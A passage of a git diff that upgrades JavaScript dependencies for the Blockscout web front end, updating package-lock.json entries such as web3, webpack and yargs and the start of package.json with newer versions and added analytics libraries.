"1.7.5", - "resolved": "https://registry.npmjs.org/web3-shh/-/web3-shh-1.7.5.tgz", - "integrity": "sha512-aCIWJyLMH5H76OybU4ZpUCJ93yNOPATGhJ+KboRPU8QZDzS2CcVhtEzyl27bbvw+rSnVroMLqBgTXBB4mmKI7A==", + "web3-rpc-methods": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/web3-rpc-methods/-/web3-rpc-methods-1.3.0.tgz", + "integrity": "sha512-/CHmzGN+IYgdBOme7PdqzF+FNeMleefzqs0LVOduncSaqsppeOEoskLXb2anSpzmQAP3xZJPaTrkQPWSJMORig==", + "requires": { + "web3-core": "^4.4.0", + "web3-types": "^1.6.0", + "web3-validator": "^2.0.6" + } + }, + "web3-rpc-providers": { + "version": "1.0.0-rc.2", + "resolved": "https://registry.npmjs.org/web3-rpc-providers/-/web3-rpc-providers-1.0.0-rc.2.tgz", + "integrity": "sha512-ocFIEXcBx/DYQ90HhVepTBUVnL9pGsZw8wyPb1ZINSenwYus9SvcFkjU1Hfvd/fXjuhAv2bUVch9vxvMx1mXAQ==", "requires": { - "web3-core": "1.7.5", - "web3-core-method": "1.7.5", - "web3-core-subscriptions": "1.7.5", - "web3-net": "1.7.5" + "web3-errors": "^1.3.0", + "web3-providers-http": "^4.2.0", + "web3-providers-ws": "^4.0.8", + "web3-types": "^1.7.0", + "web3-utils": "^4.3.1", + "web3-validator": "^2.0.6" } }, + "web3-types": { + "version": "1.7.0", + "resolved": "https://registry.npmjs.org/web3-types/-/web3-types-1.7.0.tgz", + "integrity": "sha512-nhXxDJ7a5FesRw9UG5SZdP/C/3Q2EzHGnB39hkAV+YGXDMgwxBXFWebQLfEzZzuArfHnvC0sQqkIHNwSKcVjdA==" + }, "web3-utils": { - "version": "1.7.5", - "resolved": "https://registry.npmjs.org/web3-utils/-/web3-utils-1.7.5.tgz", - "integrity": "sha512-9AqNOziQky4wNQadEwEfHiBdOZqopIHzQQVzmvvv6fJwDSMhP+khqmAZC7YTiGjs0MboyZ8tWNivqSO1699XQw==", + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/web3-utils/-/web3-utils-4.3.1.tgz", + "integrity": "sha512-kGwOk8FxOLJ9DQC68yqNQc7AzN+k9YDLaW+ZjlAXs3qORhf8zXk5SxWAAGLbLykMs3vTeB0FTb1Exut4JEYfFA==", "requires": { - "bn.js": "^5.2.1", - "ethereum-bloom-filters": "^1.0.6", - "ethereumjs-util": "^7.1.0", - "ethjs-unit": "0.1.6", - "number-to-bn": "1.7.0", - "randombytes": "^2.1.0", - "utf8": "3.0.0" + "ethereum-cryptography": "^2.0.0", + "eventemitter3": "^5.0.1", + "web3-errors": "^1.2.0", + "web3-types": "^1.7.0", + "web3-validator": "^2.0.6" + }, + "dependencies": { + "ethereum-cryptography": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/ethereum-cryptography/-/ethereum-cryptography-2.2.1.tgz", + "integrity": "sha512-r/W8lkHSiTLxUxW8Rf3u4HGB0xQweG2RyETjywylKZSzLWoWAijRz8WCuOtJ6wah+avllXBqZuk29HCCvhEIRg==", + "requires": { + "@noble/curves": "1.4.2", + "@noble/hashes": "1.4.0", + "@scure/bip32": "1.4.0", + "@scure/bip39": "1.3.0" + } + } + } + }, + "web3-validator": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/web3-validator/-/web3-validator-2.0.6.tgz", + "integrity": "sha512-qn9id0/l1bWmvH4XfnG/JtGKKwut2Vokl6YXP5Kfg424npysmtRLe9DgiNBM9Op7QL/aSiaA0TVXibuIuWcizg==", + "requires": { + "ethereum-cryptography": "^2.0.0", + "util": "^0.12.5", + "web3-errors": "^1.2.0", + "web3-types": "^1.6.0", + "zod": "^3.21.4" + }, + "dependencies": { + "ethereum-cryptography": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/ethereum-cryptography/-/ethereum-cryptography-2.2.1.tgz", + "integrity": "sha512-r/W8lkHSiTLxUxW8Rf3u4HGB0xQweG2RyETjywylKZSzLWoWAijRz8WCuOtJ6wah+avllXBqZuk29HCCvhEIRg==", + "requires": { + "@noble/curves": "1.4.2", + "@noble/hashes": "1.4.0", + "@scure/bip32": "1.4.0", + "@scure/bip39": "1.3.0" + } + } } }, "web3modal": { - "version": "1.9.9", - "resolved": "https://registry.npmjs.org/web3modal/-/web3modal-1.9.9.tgz", - "integrity": "sha512-ML1C4xH+JTSHHkKbjxuF+f5B3cDUOCnrdQZ8Mlzippq7zRKHf3NBeuIvDdNjtVclJ2S4zYYVmVqRWrgB11ej8A==", + "version": "1.9.12", + "resolved": "https://registry.npmjs.org/web3modal/-/web3modal-1.9.12.tgz", + "integrity": "sha512-RiLY2tNOEUCobtsMTmhwl/FoHZGxRZz7SSdLsh6qbbybPNUO0rFPY8xam9SpPwlLd2cUDGiWkLgDUJde0sHxdw==", "requires": { "detect-browser": "^5.1.0", "prop-types": "^15.7.2", @@ -32575,55 +27255,37 @@ "dev": true }, "webpack": { - "version": "5.74.0", - "resolved": "https://registry.npmjs.org/webpack/-/webpack-5.74.0.tgz", - "integrity": "sha512-A2InDwnhhGN4LYctJj6M1JEaGL7Luj6LOmyBHjcI8529cm5p6VXiTIW2sn6ffvEAKmveLzvu4jrihwXtPojlAA==", - "dev": true, - "requires": { - "@types/eslint-scope": "^3.7.3", - "@types/estree": "^0.0.51", - "@webassemblyjs/ast": "1.11.1", - "@webassemblyjs/wasm-edit": "1.11.1", - "@webassemblyjs/wasm-parser": "1.11.1", - "acorn": "^8.7.1", - "acorn-import-assertions": "^1.7.6", - "browserslist": "^4.14.5", + "version": "5.99.9", + "resolved": "https://registry.npmjs.org/webpack/-/webpack-5.99.9.tgz", + "integrity": "sha512-brOPwM3JnmOa+7kd3NsmOUOwbDAj8FT9xDsG3IW0MgbN9yZV7Oi/s/+MNQ/EcSMqw7qfoRyXPoeEWT8zLVdVGg==", + "dev": true, + "requires": { + "@types/eslint-scope": "^3.7.7", + "@types/estree": "^1.0.6", + "@types/json-schema": "^7.0.15", + "@webassemblyjs/ast": "^1.14.1", + "@webassemblyjs/wasm-edit": "^1.14.1", + "@webassemblyjs/wasm-parser": "^1.14.1", + "acorn": "^8.14.0", + "browserslist": "^4.24.0", "chrome-trace-event": "^1.0.2", - "enhanced-resolve": "^5.10.0", - "es-module-lexer": "^0.9.0", + "enhanced-resolve": "^5.17.1", + "es-module-lexer": "^1.2.1", "eslint-scope": "5.1.1", "events": "^3.2.0", "glob-to-regexp": "^0.4.1", - "graceful-fs": "^4.2.9", + "graceful-fs": "^4.2.11", "json-parse-even-better-errors": "^2.3.1", "loader-runner": "^4.2.0", "mime-types": "^2.1.27", "neo-async": "^2.6.2", - "schema-utils": "^3.1.0", + "schema-utils": "^4.3.2", "tapable": "^2.1.1", - "terser-webpack-plugin": "^5.1.3", - "watchpack": "^2.4.0", + "terser-webpack-plugin": "^5.3.11", + "watchpack": "^2.4.1", "webpack-sources": "^3.2.3" }, "dependencies": { - "acorn-import-assertions": { - "version": "1.8.0", - "resolved": "https://registry.npmjs.org/acorn-import-assertions/-/acorn-import-assertions-1.8.0.tgz", - "integrity": "sha512-m7VZ3jwz4eK6A4Vtt8Ew1/mNbP24u0FhdyfA7fSvnJR6LMdfOYnmuIrrJAgrYfYJ10F/otaHTtrtrtmHdMNzEw==", - "dev": true, - "requires": {} - }, - "schema-utils": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-3.1.1.tgz", - "integrity": "sha512-Y5PQxS4ITlC+EahLuXaY86TXfR7Dc5lw294alXOq86JAHCihAIZfqv8nNCWvaEJvaC51uN9hbLGeV0cFBdH+Fw==", - "dev": true, - "requires": { - "@types/json-schema": "^7.0.8", - "ajv": "^6.12.5", - "ajv-keywords": "^3.5.2" - } - }, "webpack-sources": { "version": "3.2.3", "resolved": "https://registry.npmjs.org/webpack-sources/-/webpack-sources-3.2.3.tgz", @@ -32633,81 +27295,52 @@ } }, "webpack-cli": { - "version": "4.10.0", - "resolved": "https://registry.npmjs.org/webpack-cli/-/webpack-cli-4.10.0.tgz", - "integrity": "sha512-NLhDfH/h4O6UOy+0LSso42xvYypClINuMNBVVzX4vX98TmTaTUxwRbXdhucbFMd2qLaCTcLq/PdYrvi8onw90w==", + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/webpack-cli/-/webpack-cli-6.0.1.tgz", + "integrity": "sha512-MfwFQ6SfwinsUVi0rNJm7rHZ31GyTcpVE5pgVA3hwFRb7COD4TzjUUwhGWKfO50+xdc2MQPuEBBJoqIMGt3JDw==", "dev": true, "requires": { - "@discoveryjs/json-ext": "^0.5.0", - "@webpack-cli/configtest": "^1.2.0", - "@webpack-cli/info": "^1.5.0", - "@webpack-cli/serve": "^1.7.0", + "@discoveryjs/json-ext": "^0.6.1", + "@webpack-cli/configtest": "^3.0.1", + "@webpack-cli/info": "^3.0.1", + "@webpack-cli/serve": "^3.0.1", "colorette": "^2.0.14", - "commander": "^7.0.0", + "commander": "^12.1.0", "cross-spawn": "^7.0.3", + "envinfo": "^7.14.0", "fastest-levenshtein": "^1.0.12", "import-local": "^3.0.2", - "interpret": "^2.2.0", - "rechoir": "^0.7.0", - "webpack-merge": "^5.7.3" + "interpret": "^3.1.1", + "rechoir": "^0.8.0", + "webpack-merge": "^6.0.1" + }, + "dependencies": { + "commander": { + "version": "12.1.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-12.1.0.tgz", + "integrity": "sha512-Vw8qHK3bZM9y/P10u3Vib8o/DdkvA2OtPtZvD871QKjy74Wj1WSKFILMPRPSdUSx5RFK1arlJzEtA4PkFgnbuA==", + "dev": true + } } }, "webpack-merge": { - "version": "5.8.0", - "resolved": "https://registry.npmjs.org/webpack-merge/-/webpack-merge-5.8.0.tgz", - "integrity": "sha512-/SaI7xY0831XwP6kzuwhKWVKDP9t1QY1h65lAFLbZqMPIuYcD9QAW4u9STIbU9kaJbPBB/geU/gLr1wDjOhQ+Q==", + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/webpack-merge/-/webpack-merge-6.0.1.tgz", + "integrity": "sha512-hXXvrjtx2PLYx4qruKl+kyRSLc52V+cCvMxRjmKwoA+CBbbF5GfIBtR6kCvl0fYGqTUPKB+1ktVmTHqMOzgCBg==", "dev": true, "requires": { "clone-deep": "^4.0.1", - "wildcard": "^2.0.0" - } - }, - "websocket": { - "version": "1.0.34", - "resolved": "https://registry.npmjs.org/websocket/-/websocket-1.0.34.tgz", - "integrity": "sha512-PRDso2sGwF6kM75QykIesBijKSVceR6jL2G8NGYyq2XrItNC2P5/qL5XeR056GhA+Ly7JMFvJb9I312mJfmqnQ==", - "requires": { - "bufferutil": "^4.0.1", - "debug": "^2.2.0", - "es5-ext": "^0.10.50", - "typedarray-to-buffer": "^3.1.5", - "utf-8-validate": "^5.0.2", - "yaeti": "^0.0.6" - }, - "dependencies": { - "debug": { - "version": "2.6.9", - "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", - "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", - "requires": { - "ms": "2.0.0" - } - }, - "ms": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", - "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==" - } + "flat": "^5.0.2", + "wildcard": "^2.0.1" } }, "whatwg-encoding": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/whatwg-encoding/-/whatwg-encoding-2.0.0.tgz", - "integrity": "sha512-p41ogyeMUrw3jWclHWTQg1k05DSVXPLcVxRTYsXUk+ZooOCZLcoYgPZ/HL/D/N+uQPOtcp1me1WhBEaX02mhWg==", + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/whatwg-encoding/-/whatwg-encoding-3.1.1.tgz", + "integrity": "sha512-6qN4hJdMwfYBtE3YBTTHhoeuUrDBPZmbQaxWAqSALV/MeEnR5z1xd8UKud2RAkFoPkmB+hli1TZSnyi84xz1vQ==", "dev": true, "requires": { "iconv-lite": "0.6.3" - }, - "dependencies": { - "iconv-lite": { - "version": "0.6.3", - "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.3.tgz", - "integrity": "sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==", - "dev": true, - "requires": { - "safer-buffer": ">= 2.1.2 < 3.0.0" - } - } } }, "whatwg-fetch": { @@ -32716,18 +27349,18 @@ "integrity": "sha512-dcQ1GWpOD/eEQ97k66aiEVpNnapVj90/+R+SXTPYGHpYBBypfKJEQjLrvMZ7YXbKm21gXd4NcuxUTjiv1YtLng==" }, "whatwg-mimetype": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/whatwg-mimetype/-/whatwg-mimetype-3.0.0.tgz", - "integrity": "sha512-nt+N2dzIutVRxARx1nghPKGv1xHikU7HKdfafKkLNLindmPU/ch3U31NOCGGA/dmPcmb1VlofO0vnKAcsm0o/Q==", + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/whatwg-mimetype/-/whatwg-mimetype-4.0.0.tgz", + "integrity": "sha512-QaKxh0eNIi2mE9p2vEdzfagOKHCcj1pJ56EEHGQOVxp8r9/iszLUUV7v89x9O1p/T+NlTM5W7jW6+cz4Fq1YVg==", "dev": true }, "whatwg-url": { - "version": "11.0.0", - "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-11.0.0.tgz", - "integrity": "sha512-RKT8HExMpoYx4igMiVMY83lN6UeITKJlBQ+vR/8ZJ8OCdSiN3RwCq+9gH0+Xzj0+5IrM6i4j/6LuvzbZIQgEcQ==", + "version": "14.2.0", + "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-14.2.0.tgz", + "integrity": "sha512-De72GdQZzNTUBBChsXueQUnPKDkg/5A5zp7pFDuQAj5UFoENpiACU0wlCvzpAGnTkj++ihpKwKyYewn/XNUbKw==", "dev": true, "requires": { - "tr46": "^3.0.0", + "tr46": "^5.1.0", "webidl-conversions": "^7.0.0" } }, @@ -32741,15 +27374,57 @@ } }, "which-boxed-primitive": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/which-boxed-primitive/-/which-boxed-primitive-1.1.1.tgz", + "integrity": "sha512-TbX3mj8n0odCBFVlY8AxkqcHASw3L60jIuF8jFP78az3C2YhmGvqbHBpAjTRH2/xqYunrJ9g1jSyjCjpoWzIAA==", + "dev": true, + "requires": { + "is-bigint": "^1.1.0", + "is-boolean-object": "^1.2.1", + "is-number-object": "^1.1.1", + "is-string": "^1.1.1", + "is-symbol": "^1.1.1" + } + }, + "which-builtin-type": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/which-builtin-type/-/which-builtin-type-1.2.1.tgz", + "integrity": "sha512-6iBczoX+kDQ7a3+YJBnh3T+KZRxM/iYNPXicqk66/Qfm1b93iu+yOImkg0zHbj5LNOcNv1TEADiZ0xa34B4q6Q==", + "dev": true, + "requires": { + "call-bound": "^1.0.2", + "function.prototype.name": "^1.1.6", + "has-tostringtag": "^1.0.2", + "is-async-function": "^2.0.0", + "is-date-object": "^1.1.0", + "is-finalizationregistry": "^1.1.0", + "is-generator-function": "^1.0.10", + "is-regex": "^1.2.1", + "is-weakref": "^1.0.2", + "isarray": "^2.0.5", + "which-boxed-primitive": "^1.1.0", + "which-collection": "^1.0.2", + "which-typed-array": "^1.1.16" + }, + "dependencies": { + "isarray": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-2.0.5.tgz", + "integrity": "sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw==", + "dev": true + } + } + }, + "which-collection": { "version": "1.0.2", - "resolved": "https://registry.npmjs.org/which-boxed-primitive/-/which-boxed-primitive-1.0.2.tgz", - "integrity": "sha512-bwZdv0AKLpplFY2KZRX6TvyuN7ojjr7lwkg6ml0roIy9YeuSr7JS372qlNW18UQYzgYK9ziGcerWqZOmEn9VNg==", + "resolved": "https://registry.npmjs.org/which-collection/-/which-collection-1.0.2.tgz", + "integrity": "sha512-K4jVyjnBdgvc86Y6BkaLZEN933SwYOuBFkdmBu9ZfkcAbdVbpITnDmjvZ/aQjRXQrv5EPkTnD1s39GiiqbngCw==", + "dev": true, "requires": { - "is-bigint": "^1.0.1", - "is-boolean-object": "^1.1.0", - "is-number-object": "^1.0.4", - "is-string": "^1.0.5", - "is-symbol": "^1.0.3" + "is-map": "^2.0.3", + "is-set": "^2.0.3", + "is-weakmap": "^2.0.2", + "is-weakset": "^2.0.3" } }, "which-module": { @@ -32758,39 +27433,23 @@ "integrity": "sha512-B+enWhmw6cjfVC7kS8Pj9pCrKSc5txArRyaYGe088shv/FGWH+0Rjx/xPgtsWfsUtS27FkP697E4DDhgrgoc0Q==" }, "which-typed-array": { - "version": "1.1.7", - "resolved": "https://registry.npmjs.org/which-typed-array/-/which-typed-array-1.1.7.tgz", - "integrity": "sha512-vjxaB4nfDqwKI0ws7wZpxIlde1XrLX5uB0ZjpfshgmapJMD7jJWhZI+yToJTqaFByF0eNBcYxbjmCzoRP7CfEw==", - "requires": { - "available-typed-arrays": "^1.0.5", - "call-bind": "^1.0.2", - "es-abstract": "^1.18.5", - "foreach": "^2.0.5", - "has-tostringtag": "^1.0.0", - "is-typed-array": "^1.1.7" - } - }, - "wide-align": { - "version": "1.1.5", - "resolved": "https://registry.npmjs.org/wide-align/-/wide-align-1.1.5.tgz", - "integrity": "sha512-eDMORYaPNZ4sQIuuYPDHdQvf4gyCF9rEEV/yPxGfwPkRodwEgiMUUXTx/dex+Me0wxx53S+NgUHaP7y3MGlDmg==", - "dev": true, - "optional": true, - "peer": true, + "version": "1.1.19", + "resolved": "https://registry.npmjs.org/which-typed-array/-/which-typed-array-1.1.19.tgz", + "integrity": "sha512-rEvr90Bck4WZt9HHFC4DJMsjvu7x+r6bImz0/BrbWb7A2djJ8hnZMrWnHo9F8ssv0OMErasDhftrfROTyqSDrw==", "requires": { - "string-width": "^1.0.2 || 2 || 3 || 4" + "available-typed-arrays": "^1.0.7", + "call-bind": "^1.0.8", + "call-bound": "^1.0.4", + "for-each": "^0.3.5", + "get-proto": "^1.0.1", + "gopd": "^1.2.0", + "has-tostringtag": "^1.0.2" } }, "wildcard": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/wildcard/-/wildcard-2.0.0.tgz", - "integrity": "sha512-JcKqAHLPxcdb9KM49dufGXn2x3ssnfjbcaQdLlfZsL9rH9wgDQjUtDxbo8NE0F6SFvydeu1VhZe7hZuHsB2/pw==", - "dev": true - }, - "word-wrap": { - "version": "1.2.3", - "resolved": "https://registry.npmjs.org/word-wrap/-/word-wrap-1.2.3.tgz", - "integrity": "sha512-Hz/mrNwitNRh/HUAtM/VT/5VH+ygD6DV7mYKZAtHOrbs8U7lvPS6xf7EJKMF0uW1KJCl0H701g3ZGus+muE5vQ==", + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/wildcard/-/wildcard-2.0.1.tgz", + "integrity": "sha512-CC1bOL87PIWSBhDcTrdeLo6eGT7mCFtrg0uIJtqJUFyK+eJnzl8A1niH56uu7KMa5XFrtiV+AQuHO3n7DsHnLQ==", "dev": true }, "wrap-ansi": { @@ -32833,7 +27492,8 @@ "wrappy": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", - "integrity": "sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=" + "integrity": "sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=", + "dev": true }, "write-file-atomic": { "version": "4.0.2", @@ -32846,10 +27506,9 @@ } }, "ws": { - "version": "8.8.1", - "resolved": "https://registry.npmjs.org/ws/-/ws-8.8.1.tgz", - "integrity": "sha512-bGy2JzvzkPowEJV++hF07hAD6niYSr0JzBNo/J29WsB57A2r7Wlc1UFcTR9IzrPvuNVO4B8LGqF8qcpsVOhJCA==", - "dev": true, + "version": "8.18.0", + "resolved": "https://registry.npmjs.org/ws/-/ws-8.18.0.tgz", + "integrity": "sha512-8VbfWfHLbbwu3+N6OKsOMpBdT4kXPDDB9cJk2bJ6mh9ucxdlnNvH1e+roYkKmN9Nxw2yjz7VzeO9oOz2zJ04Pw==", "requires": {} }, "xhr": { @@ -32863,28 +27522,6 @@ "xtend": "^4.0.0" } }, - "xhr-request": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/xhr-request/-/xhr-request-1.1.0.tgz", - "integrity": "sha512-Y7qzEaR3FDtL3fP30k9wO/e+FBnBByZeybKOhASsGP30NIkRAAkKD/sCnLvgEfAIEC1rcmK7YG8f4oEnIrrWzA==", - "requires": { - "buffer-to-arraybuffer": "^0.0.5", - "object-assign": "^4.1.1", - "query-string": "^5.0.1", - "simple-get": "^2.7.0", - "timed-out": "^4.0.1", - "url-set-query": "^1.0.0", - "xhr": "^2.0.4" - } - }, - "xhr-request-promise": { - "version": "0.1.3", - "resolved": "https://registry.npmjs.org/xhr-request-promise/-/xhr-request-promise-0.1.3.tgz", - "integrity": "sha512-YUBytBsuwgitWtdRzXDDkWAXzhdGB8bYm0sSzMPZT7Z2MBjMSTHFsyCT1yCRATY+XC69DUrQraRAEgcoCRaIPg==", - "requires": { - "xhr-request": "^1.1.0" - } - }, "xhr2-cookies": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/xhr2-cookies/-/xhr2-cookies-1.1.0.tgz", @@ -32894,9 +27531,9 @@ } }, "xml-name-validator": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/xml-name-validator/-/xml-name-validator-4.0.0.tgz", - "integrity": "sha512-ICP2e+jsHvAj2E2lIHxa5tjXRlKDJo4IdvPvCXbXQGdzSfmSpNVyIKMvoZHjDY9DP0zV17iI85o90vRFXNccRw==", + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/xml-name-validator/-/xml-name-validator-5.0.0.tgz", + "integrity": "sha512-EvGK8EJ3DhaHfbRlETOWAS5pO9MZITeauHKJyb8wyajUfQUenkIg2MvLDTZ4T/TgIcm3HU0TFBgWWboAZ30UHg==", "dev": true }, "xmlchars": { @@ -32906,9 +27543,9 @@ "dev": true }, "xss": { - "version": "1.0.14", - "resolved": "https://registry.npmjs.org/xss/-/xss-1.0.14.tgz", - "integrity": "sha512-og7TEJhXvn1a7kzZGQ7ETjdQVS2UfZyTlsEdDOqvQF7GoxNfY+0YLCzBy1kPdsDDx4QuNAonQPddpsn6Xl/7sw==", + "version": "1.0.15", + "resolved": "https://registry.npmjs.org/xss/-/xss-1.0.15.tgz", + "integrity": "sha512-FVdlVVC67WOIPvfOwhoMETV72f6GbW7aOabBC3WxN/oUdoEMDyLz4OgRv5/gck2ZeNqEQu+Tb0kloovXOfpYVg==", "requires": { "commander": "^2.20.3", "cssfilter": "0.0.10" @@ -32931,36 +27568,25 @@ "resolved": "https://registry.npmjs.org/y18n/-/y18n-4.0.3.tgz", "integrity": "sha512-JKhqTOwSrqNA1NY5lSztJ1GrBiUodLMmIZuLiDaMRJ+itFd+ABVE8XBjOvIWL+rSqNDC74LCSFmlb/U4UZ4hJQ==" }, - "yaeti": { - "version": "0.0.6", - "resolved": "https://registry.npmjs.org/yaeti/-/yaeti-0.0.6.tgz", - "integrity": "sha512-MvQa//+KcZCUkBTIC9blM+CU9J2GzuTytsOUwf2lidtvkx/6gnEp1QvJv34t9vdjhFmha/mUiNDbN0D0mJWdug==" - }, "yallist": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", "dev": true }, - "yaml": { - "version": "1.10.2", - "resolved": "https://registry.npmjs.org/yaml/-/yaml-1.10.2.tgz", - "integrity": "sha512-r3vXyErRCYJ7wg28yvBY5VSoAF8ZvlcW9/BwUzEtUsjvX/DKs24dIkuwjtuprwJJHsbyUbLApepYTR1BN4uHrg==", - "dev": true - }, "yargs": { - "version": "17.5.1", - "resolved": "https://registry.npmjs.org/yargs/-/yargs-17.5.1.tgz", - "integrity": "sha512-t6YAJcxDkNX7NFYiVtKvWUz8l+PaKTLiL63mJYWR2GnHq2gjEWISzsLp9wg3aY36dY1j+gfIEL3pIF+XlJJfbA==", + "version": "17.7.2", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-17.7.2.tgz", + "integrity": "sha512-7dSzzRQ++CKnNI/krKnYRV7JKKPUXMEh61soaHKg9mrWEhzFWhFnxPxGl+69cD1Ou63C13NUPCnmIcrvqCuM6w==", "dev": true, "requires": { - "cliui": "^7.0.2", + "cliui": "^8.0.1", "escalade": "^3.1.1", "get-caller-file": "^2.0.5", "require-directory": "^2.1.1", "string-width": "^4.2.3", "y18n": "^5.0.5", - "yargs-parser": "^21.0.0" + "yargs-parser": "^21.1.1" }, "dependencies": { "y18n": { @@ -32968,28 +27594,25 @@ "resolved": "https://registry.npmjs.org/y18n/-/y18n-5.0.8.tgz", "integrity": "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==", "dev": true - }, - "yargs-parser": { - "version": "21.1.1", - "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-21.1.1.tgz", - "integrity": "sha512-tVpsJW7DdjecAiFpbIB1e3qxIQsE6NoPc5/eTdrbbIC4h0LVsWhnoa3g+m2HclBIujHzsxZ4VJVA+GUuc2/LBw==", - "dev": true } } }, "yargs-parser": { - "version": "20.2.9", - "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-20.2.9.tgz", - "integrity": "sha512-y11nGElTIV+CT3Zv9t7VKl+Q3hTQoT9a1Qzezhhl6Rp21gJ/IVTW7Z3y9EWXhuUBC2Shnf+DX0antecpAwSP8w==", - "dev": true, - "optional": true, - "peer": true + "version": "21.1.1", + "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-21.1.1.tgz", + "integrity": "sha512-tVpsJW7DdjecAiFpbIB1e3qxIQsE6NoPc5/eTdrbbIC4h0LVsWhnoa3g+m2HclBIujHzsxZ4VJVA+GUuc2/LBw==", + "dev": true }, "yocto-queue": { "version": "0.1.0", "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz", "integrity": "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==", "dev": true + }, + "zod": { + "version": "3.23.8", + "resolved": "https://registry.npmjs.org/zod/-/zod-3.23.8.tgz", + "integrity": "sha512-XBx9AXhXktjUqnepgTiE5flcKIYWi/rme0Eaj+5Y0lftuGBq+jyRu/md4WnuxqgP1ubdpNCsYEYPxrzVHD8d6g==" } } } diff --git a/apps/block_scout_web/assets/package.json b/apps/block_scout_web/assets/package.json index e3e78083bd97..bf72d727716a 100644 --- a/apps/block_scout_web/assets/package.json +++ b/apps/block_scout_web/assets/package.json @@ -8,8 +8,8 @@ "author": "Blockscout", "license": "GPL-3.0", "engines": { - "node": "16.x", - "npm": "8.x" + "node": ">=16.0.0", + "npm": ">=8.0.0" }, "scripts": { "deploy": "webpack --mode production", @@ -19,24 +19,25 @@ "eslint": "eslint js/**" }, "dependencies": { - "@fortawesome/fontawesome-free": "^6.2.0", - "@tarekraafat/autocomplete.js": "^10.2.7", + "@amplitude/analytics-browser": "^2.21.1", + "@fortawesome/fontawesome-free": "^6.7.2", + "@tarekraafat/autocomplete.js": "^10.2.9", "@walletconnect/web3-provider": "^1.8.0", - "assert": "^2.0.0", - "bignumber.js": "^9.1.0", + "assert": "^2.1.0", + "bignumber.js": "^9.3.1", "bootstrap": "^4.6.0", - "chart.js": "^3.9.1", - "chartjs-adapter-luxon": "^1.2.0", + "chart.js": "^4.5.0", + "chartjs-adapter-luxon": "^1.3.1", "clipboard": "^2.0.11", - "core-js": "^3.25.0", - "crypto-browserify": "^3.12.0", + "core-js": "^3.43.0", + "crypto-browserify": "^3.12.1", "dropzone": "^5.9.3", "eth-net-props": "^1.0.41", - "highlight.js": "^11.6.0", + "highlight.js": "^11.11.1", "https-browserify": "^1.0.0", "humps": "^2.0.1", - "jquery": "^3.6.1", - "js-cookie": "^3.0.1", + "jquery": "^3.7.1", + "js-cookie": "^3.0.5", "lodash.debounce": "^4.0.8", "lodash.differenceby": "^4.8.0", "lodash.find": "^4.6.0", @@ -55,52 +56,57 @@ "lodash.omit": "^4.5.0", "lodash.rangeright": "^4.2.0", "lodash.reduce": "^4.6.0", - "luxon": "^3.0.3", - "moment": "^2.29.4", + "luxon": "^3.7.1", + "malihu-custom-scrollbar-plugin": "3.1.5", + "mixpanel-browser": "^2.67.0", + "moment": "^2.30.1", "nanomorph": "^5.4.0", "numeral": "^2.0.6", "os-browserify": "^0.3.0", "path-parser": "^6.1.0", "phoenix": "file:../../../deps/phoenix", "phoenix_html": "file:../../../deps/phoenix_html", + "photoswipe": "^5.4.4", "pikaday": "^1.8.2", "popper.js": "^1.14.7", "reduce-reducers": "^1.0.4", - "redux": "^4.2.0", + "redux": "^5.0.1", "stream-browserify": "^3.0.0", "stream-http": "^3.1.1", - "sweetalert2": 